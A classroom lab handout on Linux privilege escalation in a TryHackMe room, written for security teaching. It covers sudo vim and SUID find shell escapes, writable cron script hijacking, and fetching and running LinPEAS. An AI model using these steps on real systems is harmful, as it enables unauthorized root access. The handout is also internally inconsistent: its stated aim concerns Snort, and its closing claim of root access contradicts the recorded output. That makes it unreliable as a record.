

Lab Exercise 8

Privilege Escalation in TryHackMe Platform

AIM:

To detect and prevent real-time network attacks using Snort IDS/IPS on the TryHackMe platform.

SOFTWARE REQUIRED:

TryHackMe account, AttackBox or VPN,SSH.

Explanation of Exercise

Privilege escalation means gaining higher permissions on a system after initial access (usually from a low-privilege user to root/administrator). In TryHackMe labs, the goal is usually to escalate privileges and capture the root flag.

Step 1 – Login to TryHackMe

1. Open browser

2. Go to

<https://tryhackme.com>

3. Login with your credentials.

Step 2 – Open the Lab Room

1. Click Learn

2. Search for

Linux Privilege Escalation

3. Open the room.

The room contains multiple tasks and instructions. Follow all tasks and learn what is privilege Escalation.

TryHackMe Privilege Escalation Flow

1. Gain initial shell

2. Run enumeration commands

3. Check **sudo -l**
4. Search **SUID binaries**
5. Check **cron jobs**
6. Look for **writable scripts**
7. Use **GTFEBins**
8. Run **LinPEAS**
9. Exploit vulnerability
10. Get **root flag**

Step 3 – Start AttackBox

At the top of the room page click:

Start AttackBox

Wait 1–2 minutes until the Kali Linux desktop loads.

AttackBox is a browser-based penetration testing machine

Step 4 – Open Terminal

Inside AttackBox open the terminal.

Method 1

Click the Terminal icon in the bottom taskbar.

Method 2

Press the shortcut

CTRL + ALT + T

A terminal window will open.

Step 5 – Identify Target Machine

On the TryHackMe room page locate the Target IP Address.

Example:

10.10.152.45

This is the machine students will attack.

Step 6 – Connect to Target Machine

Use SSH to connect.

Command:

```
ssh username@target-ip
```

Example:

```
ssh tryhackme@10.10.152.45
```

Press Enter

When asked:

Are you sure you want to continue connecting?

Type

yes

Then enter the password provided in the room instructions.

If successful you will see:

```
tryhackme@target:~$
```

This means you now have initial access to the system.

Step 7 – Verify Current User

Run the command:

```
whoami
```

Example output:

```
tryhackme
```

Explanation

This shows the current logged in user.

The goal is to escalate privileges to root.

Step 8 – Check User Information

Run:

```
id
```

Example output:

```
uid=1001(tryhackme) gid=1001(tryhackme) groups=1001(tryhackme)
```

Explanation

Shows user ID and group memberships.

Step 9 – Collect System Information

Run:

```
uname -a
```

Example output:

```
Linux ubuntu 4.4.0-21-generic
```

Explanation

Displays kernel version which may contain vulnerabilities.

Check operating system:

```
cat /etc/os-release
```

Example:

```
Ubuntu 16.04
```

Older OS versions may contain security flaws.

Step 10 – Check Sudo Permissions

Run:

```
sudo -l
```

Example output:

User tryhackme may run the following commands:

```
(root) NOPASSWD: /usr/bin/vim
```

Explanation

User can run vim as root without password.

Step 11 – Exploit Sudo Privilege

Execute:

```
sudo vim -c '!/bin/bash'
```

Now check:

```
whoami
```

Output:

```
root
```

Explanation

This command opens a root shell using vim.

Step 12 – Search for SUID Binaries

If sudo access is not available, search for SUID files.

Run:

```
find / -perm -4000 -type f 2>/dev/null
```

Example output:

```
/usr/bin/find
```

```
/usr/bin/passwd
```

```
/usr/bin/python
```

Explanation

SUID binaries run with owner privileges (often root). **Step 13**

– Exploit SUID Binary

If find is present run:

```
find . -exec /bin/sh \; -quit
```

Then check:

```
whoami
```

If successful:

```
Root
```

Step 14 – Check Cron Jobs

Cron jobs execute scheduled tasks.

Run:

```
cat /etc/crontab
```

Example output:

```
* * * * * root /home/user/script.sh
```

Explanation

The script runs every minute as root.

Check permissions:

```
ls -la /home/user/script.sh
```

If writable:

```
nano /home/user/script.sh
```

Add:

```
/bin/bash
```

When cron executes the script a root shell appears.

Step 15 – Check Writable Files

Find writable files:

```
find / -writable -type f 2>/dev/null
```

Explanation

Writable files may allow code injection

Step 16 – Check PATH Variable

Display PATH:

```
echo $PATH
```

Example output:

```
/usr/local/bin:/usr/bin:/bin
```

Explanation

If root executes commands without absolute path, attackers can hijack commands.

Step 17 – Automated Enumeration Tool

Download LinPEAS.

```
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
```

Make executable:

```
chmod +x linpeas.sh
```

Run the tool:

```
./linpeas.sh
```

LinPEAS automatically detects:

- SUID vulnerabilities
- Cron jobs
- PATH misconfigurations
- Password leaks
- Kernel exploits

Step 18 – Kernel Exploit Check

Check kernel version:

```
uname -r
```

Search exploit:

```
searchsploit linux kernel <version>
```

Explanation

Older kernels may contain privilege escalation vulnerabilities.

Step 19 – Confirm Root Access

Run:

```
whoami
```

Output:

```
root
```

This confirms privilege escalation success.

Step 20 – Capture Root Flag

Navigate to root directory:

```
cd /root
```

List files:

```
ls
```

Read flag:

```
cat root.txt
```

Example output:

```
THM{root_access}
```

OUTPUT:

```
$ $ whoami
karen
$ hostname
wade7363
$ sudo -l
[sudo] password for karen:
Sorry, user karen may not run sudo on wade7363.
$ uname -a
Linux wade7363 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08
  UTC 2014 x86_64 x86_64 x86_64 GNU/Linux
$ cat /etc/os-release
NAME="Ubuntu"
VERSION="14.04, Trusty Tahr"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 14.04 LTS"
VERSION_ID="14.04"
```

```
NAME="Ubuntu"
VERSION="14.04, Trusty Tahr"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 14.04 LTS"
VERSION_ID="14.04"
HOME_URL="http://www.ubuntu.com/"
SUPPORT_URL="http://help.ubuntu.com/"
BUG_REPORT_URL="http://bugs.launchpad.net/ubuntu/"
$ find / -perm -4000 -type f 2>/dev/null
/usr/sbin/pppd
/usr/sbin/uidd
/usr/lib/eject/dmccrypt-get-device
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/pt_chown
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/x86_64-linux-gnu/oxide-qt/chrome-sandbox
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/mtr
/usr/bin/lppasswd
/usr/bin/sudo
/usr/bin/X
/usr/bin/passwd
/usr/bin/pkexec
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/traceroute6.iputils
/bin/umount
/bin/su
/bin/mount
/bin/fusermount
$ /usr/bin/find . -exec /bin/sh \; -quit
$ whoami
karen
$ id
uid=1001(karen) gid=1001(karen) groups=1001(karen)
```

RESULT

Thus, Linux privilege escalation techniques were successfully performed on the TryHackMe platform, and root access was obtained using multiple enumeration and exploitation methods.